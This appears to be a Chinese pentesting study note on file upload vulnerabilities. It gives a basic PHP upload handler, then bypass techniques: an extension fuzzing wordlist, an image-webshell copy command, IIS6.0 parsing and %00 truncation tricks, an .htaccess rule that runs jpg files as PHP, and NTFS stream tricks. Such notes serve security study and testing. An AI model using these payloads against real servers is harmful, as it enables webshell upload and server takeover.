1、檔案上傳過程
01 用戶端選擇發送的檔案->伺服器接收->網站程式判斷->臨時檔案->移動到指定的路徑
02 伺服器接收的資源程式:
upload.php
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?>
03 用戶端上傳表單:
upload.html
<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
2、檔案上傳錯誤代碼
值:0; 沒有錯誤發生,檔案上傳成功。
值:1; 上傳的檔案超過了 php.ini 中 upload_max_filesize 選項限制的值。
值:2; 上傳檔案的大小超過了 HTML 表單中 MAX_FILE_SIZE 選項指定的值。
值:3; 檔案隻有部分被上傳。
值:4; 沒有檔案被上傳。
3、網站檔案常見的字尾名
asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
//過濾的時候可以傳入這種格式:aspasp、phpphp、大小寫轉換
4、造成漏洞的原因
01 程式代碼和系統缺陷
a) 檔案可以直接上傳可執行腳本:moon.php
b) js腳本限制前端
i.儲存頁面,修改html
ii.抓包改包
iii. 禁止js檔案運作
c) 黑名單過濾不全:窮舉字尾名 moon.phtml
i.黑名單:指定的字尾名是禁止上傳的,一般窮舉字尾即可
窮舉字典:
php
php1
php2
php3
php4
php5
pht
phtml
html
htm
PhP
PhP1
PhP2
PhP3
PhP4
PhP5
PhT
Phtml
HTML
HTM
php.
php
php::$DATA
php. .
php .
php ..
php.
phphpp
PhPhPP
asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
ASP
ASA
CDX
CER
PHP
ASPX
ASHX
JSP
PHP3
PHP.A
SHTML
PHTML
Asp
Asa
Cdx
Cer
Php
Aspx
Ashx
Jsp
Php3
Php.a
Shtml
Phtml
ii.白名單:就是允許上傳檔案字尾,如jpg png gif 等其他圖檔格式
d) content-type檔案類型的檢測:抓包修改http檔案類型即可
e) 檔案頭檢測:修改檔案頭 或 圖檔一句話
JPEG (jpg),檔案頭:FFD8FF
PNG (png),檔案頭:89504E47
GIF (gif),檔案頭:47494638
TIFF (tif),檔案頭:49492A00
Windows Bitmap (bmp),檔案頭:424D
制作圖檔一句話:
copy 1.gif/b+moon.php shell.php
f) 檔案名可控且字尾名不可控:IIS6.0解析漏洞
檔案名可控,檔案字尾隻能是jpg,可利用iis6.0漏洞。(檔案名:moon.asp;)(字尾.jpg)(其中檔案名的分号,相當于一個注釋符号)
moon.asp;.jpg,可上傳,可解析。
moon.asp;jpg,雖不能上傳,但是可以解析。
e) IIS6.0目錄解析漏洞:檔案夾為x.asp,隻要上傳檔案到這個檔案夾裡,通路就會執行腳本
f) %00截斷的應用場景
直接截斷檔案名
建立目錄可控 %00截斷建立目錄 利用iis6.0解析漏洞 上傳檔案到這個目錄裡面
截斷參數 生成檔案
02 程式邏輯出錯
雙檔案上傳
空格檔案上傳
03 部署環境
apache開啟重寫子產品
LoadModule rewrite_module modules/mod_rewrite.so
重寫解析 .htaccess
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
04 IIS7.0/7.5/nginx的配置錯誤 1.jpg/.php
iis7.0|iis7.5|nginx 開啟 fast-cgi
//https://blog.csdn.net/weixin_45588247/article/details/118889668
05 漏洞
nginx<=0.83
/1.jpg%00php
06 系統特性
上傳檔案名a.php:.jpg的時候 會在目錄下生成a.php的空白檔案
php+window+iis
利用PHP 和 Windows環境的疊加特性,以下符号在正則比對時的相等性:
雙引号" = 點号.
大于符号> = 問号?
小于符号< = 星号*
檔案名.<或檔案名.<<<或檔案名.>>>或檔案名.>><空檔案名
寫入filename.<<<
07 NTFS交換資料流
:$DATA 建立檔案
::$DATA 建立和寫入檔案
08 補充
window系統裡面會把檔案名的最後一個點 會自動去掉
如上傳moon.php.最後還是會變成moon.php
2021.08.06 (0:17:51)